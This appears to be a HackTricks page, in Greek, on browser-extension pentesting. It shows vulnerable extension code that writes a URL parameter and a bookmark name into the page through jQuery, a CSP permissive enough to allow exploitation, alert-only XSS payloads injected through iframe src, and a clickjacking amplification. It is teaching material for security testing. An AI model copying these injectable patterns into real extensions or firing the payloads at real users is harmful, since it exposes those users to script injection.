hacktricks/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md

9.1 KiB
Raw Permalink Blame History

BrowExt - XSS Example

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Cross-Site Scripting (XSS) μέσω Iframe

Σε αυτή τη ρύθμιση, ένα content script υλοποιείται για να δημιουργήσει ένα Iframe, ενσωματώνοντας μια διεύθυνση URL με παραμέτρους ερωτήματος ως πηγή του Iframe:

chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});

Μια δημόσια προσβάσιμη σελίδα HTML, message.html, έχει σχεδιαστεί για να προσθέτει δυναμικά περιεχόμενο στο σώμα του εγγράφου με βάση τις παραμέτρους στη διεύθυνση URL:

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});

Ένα κακόβουλο σενάριο εκτελείται στη σελίδα ενός αντιπάλου, τροποποιώντας την παράμετρο content της πηγής του Iframe για να εισάγει ένα XSS payload. Αυτό επιτυγχάνεται ενημερώνοντας την πηγή του Iframe για να περιλαμβάνει ένα επιβλαβές σενάριο:

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);

Μια υπερβολικά επιτρεπτική Πολιτική Ασφαλείας Περιεχομένου όπως:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

επιτρέπει την εκτέλεση JavaScript, καθιστώντας το σύστημα ευάλωτο σε επιθέσεις XSS.

Μια εναλλακτική προσέγγιση για να προκληθεί το XSS περιλαμβάνει τη δημιουργία ενός στοιχείου Iframe και την ρύθμιση της πηγής του ώστε να περιλαμβάνει το επιβλαβές σενάριο ως την παράμετρο content:

let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);

DOM-based XSS + ClickJacking

Αυτό το παράδειγμα προήλθε από την αρχική ανάρτηση.

Το κύριο πρόβλημα προέρχεται από μια ευπάθεια Cross-site Scripting (XSS) που βασίζεται στο DOM, η οποία βρίσκεται στο /html/bookmarks.html. Ο προβληματικός JavaScript, μέρος του bookmarks.js, αναλύεται παρακάτω:

$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});

Αυτό το απόσπασμα ανακτά την τιμή από το txtName πεδίο εισόδου και χρησιμοποιεί συγκέντρωση συμβολοσειρών για να δημιουργήσει HTML, το οποίο στη συνέχεια προσαρτάται στο DOM χρησιμοποιώντας τη μέθοδο .append() της jQuery.

Συνήθως, η Πολιτική Ασφάλειας Περιεχομένου (CSP) της επέκτασης Chrome θα εμπόδιζε τέτοιες ευπάθειες. Ωστόσο, λόγω της χαλάρωσης CSP με unsafe-eval και της χρήσης μεθόδων χειρισμού DOM της jQuery (οι οποίες χρησιμοποιούν globalEval() για να περάσουν σενάρια στο eval() κατά την εισαγωγή στο DOM), η εκμετάλλευση είναι ακόμα δυνατή.

Ενώ αυτή η ευπάθεια είναι σημαντική, η εκμετάλλευσή της εξαρτάται συνήθως από την αλληλεπίδραση του χρήστη: επισκεπτόμενος τη σελίδα, εισάγοντας ένα XSS payload και ενεργοποιώντας το κουμπί “Προσθήκη”.

Για να ενισχυθεί αυτή η ευπάθεια, εκμεταλλεύεται μια δευτερεύουσα ευπάθεια clickjacking. Το μανιφέστο της επέκτασης Chrome παρουσιάζει μια εκτενή πολιτική web_accessible_resources:

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Σημαντικά, η /html/bookmarks.html σελίδα είναι επιρρεπής σε framing, επομένως ευάλωτη σε clickjacking. Αυτή η ευπάθεια εκμεταλλεύεται για να πλαισιώσει τη σελίδα μέσα σε έναν ιστότοπο του επιτιθέμενου, επικαλύπτοντάς την με στοιχεία DOM για να ανασχεδιάσει παραπλανητικά τη διεπαφή. Αυτή η χειραγώγηση οδηγεί τα θύματα να αλληλεπιδρούν με την υποκείμενη επέκταση ακούσια.

Αναφορές

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}